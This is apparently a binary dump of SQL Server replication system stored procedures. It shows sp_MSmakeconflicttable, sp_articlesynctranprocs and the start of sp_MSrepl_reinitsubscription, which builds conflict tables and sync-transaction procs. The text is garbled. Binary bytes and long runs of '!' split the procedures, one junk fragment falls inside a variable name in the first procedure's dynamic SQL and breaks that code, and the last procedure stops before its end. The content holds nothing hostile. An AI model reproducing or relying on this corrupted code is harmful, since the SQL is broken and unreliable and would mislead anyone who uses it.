			X	>d.lP4X:2		8dv`:H*b@Hr4lRzl@x@X0hL>Ftn^<`<(Kxv9create procedure sys.sp_MSmakeconflicttable (
    @article sysname, 
    @publication sysname,
    @creation_mode bit = 0,     -- 0 = for publisher, 1 = for subscriber (snapshot)
    @is_debug bit = 0,
    @alter bit = 0,	-- 1 for alter table case, 0 for create
    @usesqlclr bit = 1
)
as
begin
    --
    -- variables
    --
    declare @retcode        int
    
    if @usesqlclr = 1
    begin
        begin transaction
        save transaction sp_MSmakeconflicttable_sqlclr   

        exec @retcode = sys.sp_MSmakeconflicttable_sqlclr
            @article = @article,
            @publication = @publication,
            @for_subscriber = @creation_mode,
            @alter = @alter
        if @@error <> 0 or @retcode <> 0 goto CLRFAILURE

        if @creation_mode = 0
        begin
            declare @qualified_conflict_table_name nvarchar(1000)
            declare @conflict_table_schema nvarchar(1000)

            select @conflict_table_schema = schema_name(objectproperty(sau.conflict_tableid, 'SchemaId')),
                   @qualified_conflict_table_name = quotename(schema_name(objectproperty(sau.conflict_tableid, 'SchemaId'))) + N'.' + quotename(object_name(sau.conflict_tableid)) 
              from dbo.sysarticleupdates sau
            inner join dbo.sysarticles sa
                on sau.pubid = sa.pubid
               and sau.artid = sa.artid
            inner join dbo.syspublications sp
                on sa.pubid = sp.pubid
            where sa.name = @article
               and sp.name = @publication

            if @conflict_table_schema in (N'dbo',N'INFORMATION_SCHEMA')
            begin
                exec @retcode = sys.sp_MS_marksystemobject @qualified_conflict_table_name
                if @@error <> 0 or @retcode <> 0 goto CLRFAILURE
            end 
        end

        commit transaction
        return 0
CLRFAILURE:
        rollback transaction sp_MSmakeconflicttable_sqlclr
        commit transaction
        return 1

    end
    else
    begin

    declare @cmd           nvarchar(4000)
            ,@qualname      nvarchar(1000)
            ,@basetablename nvarchar(1000)
            ,@id            int
            ,@colid     int
            ,@conflict_column_id int
            ,@colname   nvarchar(1000)
            ,@conflict_colname   nvarchar(1000)
            ,@col            nvarchar(1000)
            ,@coltype        nvarchar(1000)
            ,@conflict_coltype        nvarchar(1000)
            ,@iscolnullable bit
            ,@conflict_iscolnullable bit
            ,@dbname         nvarchar(1000)
            ,@ownername      nvarchar(1000)
            ,@tablename      nvarchar(1000)
            ,@basetableid   int
            ,@isset         int
            ,@tabid         int
            ,@artid         int
            ,@pubid         int
            ,@indid         int
            ,@indkey        int
            ,@key            nvarchar(1000)
            ,@indexname      nvarchar(1000)
            ,@mode_publisher bit
            ,@mode_subscriber bit
            ,@is_queued     bit
            ,@conflict_isnullable bit
            ,@alter_column bit
            ,@userdefinedtypestobasetypes bit
            ,@xmltontext bit
            ,@maxtypestomatchingnonmaxtypes bit
            ,@schema_option_lodword int

    set nocount on
    select @dbname = db_name()
            ,@mode_publisher = 0
            , @mode_subscriber = 1
            ,@alter_column = 0
            ,@userdefinedtypestobasetypes = 0
            ,@xmltontext = 0
            ,@maxtypestomatchingnonmaxtypes = 0

    --
    -- Check and make sure the base table exists
    --
    select  @artid = a.artid, @basetableid = a.objid, 
            @basetablename = object_name(a.objid),  
            @pubid = a.pubid, @is_queued = isnull(p.allow_queued_tran, 0)
            ,@ownername = case @creation_mode when @mode_publisher then schema_name(objectproperty(a.objid, 'SchemaId')) 
				else a.dest_owner end
            ,@schema_option_lodword = sys.fn_replgetbinary8lodword(schema_option)
    from sysarticles a, syspublications p
    where   a.name = @article and
            p.name = @publication and
            a.pubid = p.pubid
    if (@basetableid is null or @basetableid = 0)
    begin
        raiserror(15388, 16, 1, @basetablename)
        return (1)
    end

    if @creation_mode = @mode_subscriber
    begin
        if (@schema_option_lodword & 0x00000020) = 0x00000020 -- UserDefinedTypesToBaseTypes
        begin
            set @userdefinedtypestobasetypes = 1
        end

        if (@schema_option_lodword & 0x10000000) = 0x10000000 -- XmlToNText
        begin
            set @xmltontext = 1
        end

        if (@schema_option_lodword & 0x20000000) = 0x20000000 -- MaxTypesToMatchingNonMaxTypes
        begin
            set @maxtypestomatchingnonmaxtypes = 1
        end
    end

    --
    -- If the publication does not allowed queued tran, return
    --
    if (@is_queued != 1)
        return 0

    --
    -- base table should be owner qualified
    --
    select @basetablename = QUOTENAME(@ownername) + N'.' + QUOTENAME(@basetablename)
    
    --
    -- Prepare the name for the Conflict table, index
    --
    if (@creation_mode = @mode_publisher and @alter = 0)
    begin
        --
        -- creating on publisher - get unique names for table, index
        --
        exec @retcode = sys.sp_MSgettranconflictname @publication=@publication, 
                            @source_object=@basetablename, 
                            @str_prefix='conflict_', 
                            @conflict_table=@tablename OUTPUT
        if (@retcode != 0 or @@error != 0)
        begin
            raiserror(21542, 16, 1, @@error, 'sp_MSgettranconflictname')
            return (1)
        end

        exec @retcode = sys.sp_MSgettranconflictname @publication=@publication, 
                            @source_object=@basetablename, 
                            @str_prefix='cftind_', 
                            @conflict_table=@indexname OUTPUT
        if (@retcode != 0 or @@error != 0)
        begin
            raiserror(21542, 16, 2, @@error, 'sp_MSgettranconflictname')
            return (1)
        end
    end
	else
    begin
        --
        -- creating for subscriber, or doing an alter
        -- get the names from existing table on publisher
        --
        select @id = conflict_tableid, @tablename = OBJECT_NAME(conflict_tableid) 
        from sysarticleupdates
        where artid = @artid and pubid = @pubid

        exec @indid = sys.sp_MStable_has_unique_index @id
        if (@indid = 0)
        begin
            raiserror(21750, 16, 1, @tablename)
            return (1)
        end
            
        select @indexname = name
        from sysindexes 
        where indid = @indid and id = @id
    end
    
    --
    -- Qualify the Conflict tablename
    --
    select @qualname = case 
        when (@ownername is null or @ownername = ' ') then QUOTENAME(@tablename)
                else QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename) end

    --
    -- begin tran
    --
    begin tran 
	save tran sp_MSmakeconflicttable

    --
    -- create table to select the command text out of
    --
    if exists (select * from sys.objects where name = 'tempcmd' and schema_id = schema_id('dbo'))
        drop table dbo.tempcmd
        
    create table dbo.tempcmd (step int identity NOT NULL, cmdtext nvarchar(4000) NULL)

    -- 
    -- To check if specified object exists in current database drop it if it exists
    -- script the exists and drop code
    -- 
    select @id = object_id(@qualname)
    if (@creation_mode = @mode_publisher and @id is not NULL) or (@creation_mode = @mode_subscriber)
    begin
        select @cmd = N'if object_id(N''' + sys.fn_replreplacesinglequote(@qual!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<jK"~\49name) collate database_default + ''') is not null begin ' + 
                    N'DROP TABLE ' + @qualname + N' end
	'
	        insert into dbo.tempcmd(cmdtext) values(@cmd)
    end
    
    select @cmd = N'CREATE TABLE ' + @qualname + N'('
    									
    insert into dbo.tempcmd(cmdtext) values(@cmd)
    --
    -- Declare the cursor to get info on each column of base table
    --
    declare #hcurColumnInfo cursor local FAST_FORWARD FOR
        select sc.column_id,
        sc.is_nullable
        from sys.columns sc join sysarticlecolumns ac
			on sc.column_id = ac.colid 
        where sc.is_computed = 0    
			and sc.object_id = @basetableid 
			and ac.artid = @artid
        order by sc.column_id
    FOR READ ONLY

    select @cmd = NULL
    open #hcurColumnInfo
    fetch #hcurColumnInfo into @colid, @iscolnullable
    while (@@FETCH_STATUS = 0)
    begin

        -- Get the typestring for this column
        -- Skip this column if it is NULL
        exec sys.sp_MSget_type @basetableid, @colid, @colname output, @coltype OUTPUT, @userdefinedtypestobasetypes, @xmltontext, @maxtypestomatchingnonmaxtypes
        if (@@ERROR!= 0)
        begin
            raiserror(21542, 16, 1, @@error, 'sp_MSget_type')
            rollback tran sp_MSmakeconflicttable
			commit tran
			return (1)
       	end

		if (@coltype IS not NULL)
		begin
	        -- Initialize
	        if (@cmd is NULL)
	             	select @cmd = N'    '
	        else
	             select @cmd = N'    ,'
	
	        -- Create the column info
	        select @cmd = @cmd + quotename(@colname) + N' ' 
	        select @cmd = @cmd + @coltype
	            
	        -- Apply nullability
	        if (@iscolnullable = 1)
	             select @cmd = @cmd + N' NULL'
	        else
	             select @cmd = @cmd + N' NOT NULL'
	
	        -- insert into the temptable
	        insert into dbo.tempcmd(cmdtext) values(@cmd)
		end
        -- do the next fetch
FETCHNEXT:
        fetch #hcurColumnInfo into @colid, @iscolnullable
    end

    close #hcurColumnInfo
    deallocate #hcurColumnInfo

    --
    -- Now add the conflict related columns, only for create, not for alter 
    --
	    insert into dbo.tempcmd(cmdtext) values(N'  ,origin_datasource nvarchar(255) NULL
    	,conflict_type int NULL
	    ,reason_code int NULL
    	,reason_text nvarchar(720) NULL
	    ,pubid int NULL
	    ,tranid nvarchar(40) NULL
	    ,insertdate datetime NOT NULL
    	,qcfttabrowid uniqueidentifier DEFAULT NEWID() NOT NULL)
	    ')
    --
    -- Create an unique index - we add some more fields to the index of base table
    --
    exec @indid = sys.sp_MStable_has_unique_index @basetableid
    if (@indid = 0)
    begin
        raiserror(21750, 16, 1, @basetablename)
        rollback tran sp_MSmakeconflicttable
		commit tran
        return (1)
    end

    insert into dbo.tempcmd(cmdtext) values(N'
    CREATE UNIQUE INDEX ' + quotename(@indexname) + ' ON ' +  @qualname  + N'(')

    select @cmd = NULL
    select @indkey = 1
    while (@indkey <= 16)
    begin   
        select @key = index_col(@basetablename, @indid, @indkey)
        if (@key is not null)
        begin
            -- make sure we are replicating this column
            begin
                -- map the index to the right column in base table
                exec sys.sp_MSget_col_position @basetableid, @artid, @key, @col output, @colid output
                exec @isset = sys.sp_isarticlecolbitset @colid, @artid
            end
                
            if (@isset = 1)
            begin
                if (@cmd is NULL)
                    select @cmd = quotename(@key)
                else
                    select @cmd = @cmd + N', ' + quotename(@key)
            end
        end
        select @indkey = @indkey + 1
    end
    
    --
    -- Add two more fields in the index
    --
    if (@cmd is NULL)
        select @cmd = N'tranid, qcfttabrowid'
    else
        select @cmd = @cmd + N', tranid, qcfttabrowid'
    insert into dbo.tempcmd(cmdtext) values(@cmd + N')')

    --
    -- If we are creating on publisher
    -- create the table now and update sysarticleupdates now
    --
    if (@creation_mode = @mode_publisher)
    begin
        if (@is_debug = 0)
        begin
            --
            -- create the table now
            --
            select @cmd = 'select cmdtext from dbo.tempcmd order by step'
            exec @retcode = sys.xp_execresultset @cmd, @dbname
            if (@@error != 0 or @retcode != 0)
            begin
                raiserror(21542, 16, 1, @@error, 'xp_execresultset')
                rollback tran sp_MSmakeconflicttable
				commit tran
                return (1)
            end

            --
            -- update sysarticleupdates
            --
			if @alter = 0
			begin 
				--temp rollback from bug#20002180, remember to change back to object_id()
				--once we decide the owner of conf table here.
	            select @tabid = id from dbo.sysobjects where name = @tablename
    	        if (@tabid = 0 or @tabid is NULL)
        	    begin
            	    raiserror(21286, 16, 1, @tablename)
	                rollback tran sp_MSmakeconflicttable
					commit tran
    	            return (1)
        	    end
	            else
    	        begin
        	        update dbo.sysarticleupdates set conflict_tableid = @tabid
            	        where artid = @artid and pubid = @pubid

	                -- mark the table as system object
    	            if (@ownername in ('dbo','INFORMATION_SCHEMA'))
        	        begin
            	        exec @retcode = dbo.sp_MS_marksystemobject @qualname
	                    if (@@error != 0 or @retcode != 0)
    	                begin
        	                -- roll back the tran
            	            raiserror(21542, 16, 1, @@error, 'sp_MS_marksystemobject')
                	        rollback tran sp_MSmakeconflicttable
							commit tran
	                        return (1)
    	                end
        	        end
	            end
			end
        end
        else
            select cmdtext from dbo.tempcmd order by step
    end

    --
    -- commit the tran
    --
    commit tran 

    --
    -- If we are creating for subscriber then
    -- just to a select on the temp table
    --
    if (@creation_mode = @mode_subscriber)
    begin
        select cmdtext from dbo.tempcmd order by step
    end

    -- drop the table we created
    drop table dbo.tempcmd
    end -- @usesqlclr = 0
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(L][veOcreate procedure sys.sp_articlesynctranprocs 
(
	@publication sysname,         -- publication name 
	@article sysname,              -- article name 
	@fautogen_id bit = 1, -- indicates wether or not to auto generate sprocs
	@alter bit = 0  -- if 1, alter instead of create
)
AS
BEGIN
    SET NOCOUNT ON

    -- Declarations.
    DECLARE @pubid int
                    ,@artid int
                    ,@retcode int
                    ,@ins_proc_id int
                    ,@upd_proc_id int
                    ,@del_proc_id int
                    ,@upd_trig_id int
                    ,@ins_proc sysname       -- name of sproc supporting Sync Tran inserts associated with this article
                    ,@upd_proc sysname       -- name of sproc supporting Sync Tran updates associated with this article
                    ,@del_proc sysname       -- name of sproc supporting Sync Tran deletes associated with this article
                    ,@upd_trig sysname
                    ,@allow_queued_tran bit
                    ,@conflict_table_id int
                    ,@ins_conflict_proc int
                    ,@objname sysname
                    ,@owner sysname
	
    
    -- 
    -- Security Check -- DBO for creation or alter.
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- Parameter Check: @article. The @article name cannot be NULL and must conform 
    -- to the rules for identifiers.
    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_articlesynctranprocs')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @article
    IF @retcode <> 0
        RETURN(1)
    
    -- Parameter Check: @publication.
    -- The @publication name cannot be NULL and must conform to the rules
    -- for identifiers.
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_articlesynctranprocs')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publication
    IF @retcode <> 0
        RETURN (1)

    -- Retrieve pubid & artid
    SELECT 	@pubid = a.pubid 
			,@artid = a.artid 
			,@allow_queued_tran = p.allow_queued_tran
    FROM sysarticles a join syspublications p
        on a.pubid = p.pubid
        and p.name = @publication 
        and a.name = @article
        
    IF @pubid IS NULL OR @artid IS NULL
    BEGIN
        if @pubid IS NULL RAISERROR (20026, 16, 1, @publication)
        if @artid IS NULL RAISERROR (20027, 16, 1, @article)
        RETURN (1)
    END

    BEGIN TRAN 
    SAVE TRAN sp_articlesynctranprocs

    -- if autogen is set, get proc names, then either create or alter them depending on @alter
    if @fautogen_id = 1
    begin 
        -- Process according to the alter flag
        if @alter = 0
        begin 
            -- in case of create, build unique name now
            select @ins_proc   = 'sp_MSsync_ins_'+ SUBSTRING(RTRIM(@article), 1, 100) + '_' + rtrim(convert(varchar, @pubid))
                    ,@upd_proc   = 'sp_MSsync_upd_'+ SUBSTRING(RTRIM(@article), 1, 100) + '_' + rtrim(convert(varchar, @pubid))
                    ,@del_proc   = 'sp_MSsync_del_'+ SUBSTRING(RTRIM(@article), 1, 100) + '_' + rtrim(convert(varchar, @pubid))
                    ,@upd_trig   = 'sp_MSsync_upd_trig_'+ SUBSTRING(RTRIM(@article), 1, 100) + '_' + rtrim(convert(varchar, @pubid))

            -- check uniqueness of names and revert to ugly guid-based name if friendly name already exists
            if exists (select name from sys.objects where name in (@ins_proc, @upd_proc, @del_proc))
            	or object_id(@upd_trig, 'TR') is not NULL
            begin
                declare @guid_name nvarchar(36)
                select @guid_name =  convert (nvarchar(36), newid())
                -- remove '-' from guid name because rpc can't handle '-'
                select @guid_name = replace (@guid_name,'-','_')
                select @ins_proc = 'sp_MSsync_ins_' + @guid_name
                        ,@upd_proc = 'sp_MSsync_upd_' + @guid_name
                        ,@del_proc = 'sp_MSsync_del_' + @guid_name
                        ,@upd_trig = 'sp_MSsync_upd_trig_' + @guid_name
            end
        end
        else 
        begin 
            -- in case of alter, get name from sysarticleupdates
            select @ins_proc = object_name(sync_ins_proc), 
                    @upd_proc = object_name(sync_upd_proc), 
                    @del_proc = object_name(sync_del_proc),
                    @upd_trig = object_name(sync_upd_trig)
            from sysarticleupdates
            where pubid = @pubid
                and artid = @artid
        end

        -- Parameter Check: @ins_proc, @upd_proc, @del_proc, @upd_trig
        -- The sproc names cannot be NULL and must conform to the rules
        -- for identifiers
        IF @ins_proc IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@ins_proc', 'sp_articlesynctranprocs')
            goto UNDO
        END
        EXECUTE @retcode = sys.sp_validname @ins_proc
        IF @retcode <> 0
            goto UNDO
        IF @upd_proc IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@upd_proc', 'sp_articlesynctranprocs')
            goto UNDO
        END
        EXECUTE @retcode = sys.sp_validname @upd_proc
        IF @retcode <> 0
            goto UNDO
        IF @del_proc IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@del_proc', 'sp_articlesynctranprocs')
            goto UNDO
        END
        EXECUTE @retcode = sys.sp_validname @del_proc
        IF @retcode <> 0
            goto UNDO
        IF @upd_trig IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@upd_trig', 'sp_articlesynctranprocs')
            goto UNDO
        END
        EXECUTE @retcode = sys.sp_validname @upd_trig
        IF @retcode <> 0
            goto UNDO
	
        -- in case of create, check pre-existance and drop as needed
        if @alter = 0 
        begin
            --
            -- The synctran objects are always created in the context
            -- of the schema that owns the soures table, so use this 
            -- owner when dropping existing objects
            --
            select @owner = schema_name(OBJECTPROPERTY(objid, N'SchemaId'))
            from sysarticles 
            where pubid = @pubid 
                and artid = @artid
            select  @ins_proc_id = sync_ins_proc, 
                        @upd_proc_id = sync_upd_proc, 
                        @del_proc_id = sync_del_proc, 
                        @upd_trig_id = sync_upd_trig,
                        @conflict_table_id = conflict_tableid,
                        @ins_conflict_proc = ins_conflict_proc
            from sysarticleupdates 
            where pubid = @pubid 
                and artid = @artid

            if @ins_proc_id is not null
            begin
                select @objname = object_name(@ins_proc_id)
                exec @retcode = sys.sp_MSdrop_object
                                @object_name = @objname,
                                @object_owner = @owner
                if @@error <> 0 or @retcode <> 0
                begin
                    ROLLBACK tran sp_articlesynctranprocs
                    commit tran
                    RETURN (1)
                end
            end
	
            if @upd_proc_id is not null
            begin
                select @objname = object_name(@upd_proc_id)     
                exec @retcode = sys.sp_MSdrop_object
                            @object_name = @objname,
                            @object_owner = @owner
                if @@error <> 0 or @retcode <> 0
                begin
                    ROLLBACK tran sp_articlesynctranprocs
                    commit tran
                    RETURN (1)
                end
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<LݤeO     end
	
            if @del_proc_id is not null
            begin
                select @objname = object_name(@del_proc_id)     
                exec @retcode = sys.sp_MSdrop_object
                            @object_name = @objname,
                            @object_owner = @owner
                if @@error <> 0 or @retcode <> 0
                begin
                    ROLLBACK tran sp_articlesynctranprocs
                    commit tran
                    RETURN (1)
                end
            end
	
            if @upd_trig_id is not null
            begin
                select @objname = object_name(@upd_trig_id)     
                exec @retcode = sys.sp_MSdrop_object
                                @object_name = @objname,
                                @object_owner = @owner
                if @@error <> 0 or @retcode <> 0
                begin
                    ROLLBACK tran sp_articlesynctranprocs
                    commit tran
                    RETURN (1)
                end
            end
	
            if (@conflict_table_id is not null)
            begin
                select @objname = object_name(@conflict_table_id)     
                exec @retcode = sys.sp_MSdrop_object
                                @object_name = @objname,
                                @object_owner = @owner
                if (@@error != 0 or @retcode != 0)
                begin
                    ROLLBACK tran sp_articlesynctranprocs
                    commit tran
                    RETURN (1)
                end
            end
	
            if (@ins_conflict_proc is not null)
            begin
                select @objname = object_name(@ins_conflict_proc)     
                exec @retcode = sys.sp_MSdrop_object
                                @object_name = @objname,
                                @object_owner = @owner
                if (@@error != 0 or @retcode != 0)
                begin
                    ROLLBACK tran sp_articlesynctranprocs
                    commit tran
                    RETURN (1)
                end
            end
        end  -- if @alter = 0

        EXECUTE @retcode =  sys.sp_MSgen_sync_tran_procs @publication, @article, 
                    @ins_proc, @upd_proc, @del_proc, @upd_trig, @alter 
        IF @retcode <> 0
        BEGIN
            ROLLBACK tran sp_articlesynctranprocs
            commit tran
            RETURN (1)
        END

        -- get proc ids for sysartucleupdates only for create, not alter
        if @alter = 0 
        begin 
            --retrieve sproc id's, fail if they don't exist
            if (@owner is null)
            begin
                select @ins_proc_id = object_id (@ins_proc)
                            ,@upd_proc_id = object_id (@upd_proc)
                            ,@del_proc_id = object_id (@del_proc)
                            ,@upd_trig_id = object_id (@upd_trig)
            end
            else
            begin
                select @ins_proc_id = object_id (quotename(@owner)collate database_default + N'.' + quotename(@ins_proc)collate database_default)
                            ,@upd_proc_id = object_id (quotename(@owner)collate database_default + N'.' + quotename(@upd_proc)collate database_default)
                            ,@del_proc_id = object_id (quotename(@owner)collate database_default + N'.' + quotename(@del_proc)collate database_default)
                            ,@upd_trig_id = object_id (quotename(@owner)collate database_default + N'.' + quotename(@upd_trig)collate database_default)
            end

            IF (@ins_proc_id IS NULL) OR (@upd_proc_id IS NULL) OR (@del_proc_id IS NULL) OR (@upd_trig_id IS NULL)             
            BEGIN
                if @ins_proc_id IS NULL RAISERROR (20500, 16, 1, @ins_proc)
                if @upd_proc_id IS NULL RAISERROR (20500, 16, 1, @upd_proc)
                if @del_proc_id IS NULL RAISERROR (20500, 16, 1, @del_proc)
                if @upd_trig_id IS NULL RAISERROR (20500, 16, 1, @upd_trig)
                ROLLBACK tran sp_articlesynctranprocs
                commit tran
                RETURN (1)
            END
        end -- if @alter = 0
        --
        -- perform insert into sysarticleupdates, or update if row exists
        -- need to mark this as a system table, so this sproc can live in master db
        if not exists (select * from sysarticleupdates where pubid = @pubid and artid = @artid)
        begin
            INSERT sysarticleupdates(pubid, artid, sync_ins_proc, sync_upd_proc, sync_del_proc, autogen, sync_upd_trig)
            VALUES (@pubid, @artid, @ins_proc_id, @upd_proc_id, @del_proc_id, @fautogen_id, @upd_trig_id)
        end
        else
        begin
            update sysarticleupdates 
            set sync_ins_proc = @ins_proc_id, 
                    sync_upd_proc = @upd_proc_id, 
                    sync_del_proc = @del_proc_id,
                    sync_upd_trig = @upd_trig_id
            where pubid = @pubid and artid = @artid
        end
        IF @@ERROR <> 0
            goto UNDO
    end -- if @fautogen_id = 1
    --
    -- Generate the conflict table and conflict proc for Queued Tran case
    --
    if (@allow_queued_tran = 1)
    begin
        exec @retcode = sys.sp_MSmakeconflicttable @article
										, @publication
										, 0    -- @creation_mode : 0 = for publisher, 1 = for subscriber (snapshot)
										, 0    -- @is_debug bit = 0
										, @alter
                                        , 1 -- @usesqlclr
        IF @@ERROR <> 0 OR @retcode <> 0
            goto UNDO
        exec @retcode = sys.sp_MSmaketrancftproc @article, @publication
										, 0  -- @is_debug bit = 0
										, @alter
        IF @@ERROR <> 0 OR @retcode <> 0
            goto UNDO
    end 
    COMMIT TRAN
    RETURN (0)
UNDO:
    ROLLBACK tran sp_articlesynctranprocs
    commit tran
    RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/L/v)'create procedure sys.sp_MSrepl_reinitsubscription
(
	@publication				sysname,
	@article					sysname,
	@subscriber					sysname,
	@destination_db				sysname,
	@for_schema_change			bit,
	@distributor				sysname,
	@distribdb					sysname,
	@publisher					sysname,
	@publisher_type				sysname,
	@ignore_distributor_failure bit = 0,
	@invalidate_snapshot		bit
)
AS
BEGIN
    DECLARE @retcode			    int
    declare @active				    tinyint
    declare @subscribed			    tinyint
    declare @automatic			    tinyint
    DECLARE @artid				    int
    DECLARE @distproc			    nvarchar (255)
    DECLARE @dbname				    sysname
    DECLARE @sync_type			    tinyint
    DECLARE @immediate_sync		    bit
    DECLARE @immediate_sync_ready   bit
    DECLARE @subscription_type	    int
    DECLARE @push				    int
    DECLARE @pub				    sysname
    DECLARE @dest_db			    sysname
    DECLARE @sub_name			    sysname
    DECLARE @art_name			    sysname
    DECLARE @none				    tinyint
    DECLARE @login_name			    sysname
    DECLARE @loc_publisher		    sysname
    DECLARE @publisher_db		    sysname
    DECLARE @options			    int
    DECLARE @opt_enable_p2p		    int
	DECLARE @current_publication	sysname
	
	DECLARE @publication_ids TABLE
	(
		pubid	int
	)
	
    -- Initialization
    select @active = 2
    select @subscribed = 1
    select @publisher_db = DB_NAME() 
    select @dbname = DB_NAME()
    SELECT @none = 2            /* Const: synchronization type 'none' */
    SELECT @automatic = 1       /* Const: synchronization type 'automatic' */
    select @push = 0
	select @opt_enable_p2p = 0x1
	
    /* 
    ** Security Check.
    ** We use login_name stored in syssubscriptions to manage security 
    */

    -- Ensure that this is being run on a published tran database
    if sys.fn_MSrepl_istranpublished (@dbname,1) = 0
    begin
        -- This database is not enabled for publication.
        raiserror (14013, 16, -1)
        return 1
    end

    /* Validate names */
    EXECUTE @retcode = sys.sp_validname @publication
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)

    /* article name can be a quoted name
    EXECUTE @retcode = sys.sp_validname @article
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)
    */

    -- Subscriber can be NULL
    IF @subscriber IS NOT NULL
    BEGIN
        EXECUTE @retcode = sys.sp_validname @subscriber
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)

        EXECUTE @retcode = sys.sp_validname @destination_db
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END
    
    -- Get a real server name if needed
    IF @publisher IS NOT NULL
		SET @loc_publisher = @publisher
	ELSE
		SET @loc_publisher = publishingservername()

    -- Replace 'all' with '%'
    if LOWER(@publication) = 'all'
        SELECT @publication = '%'

    if LOWER(@article) = 'all'
        SELECT @article = '%'

    if LOWER(@subscriber) = 'all'
        SELECT @subscriber = '%'

    if LOWER(@destination_db) = 'all'
        SELECT @destination_db = '%'

	-- Get list of matching publication id's for
	-- this publisher/type combo
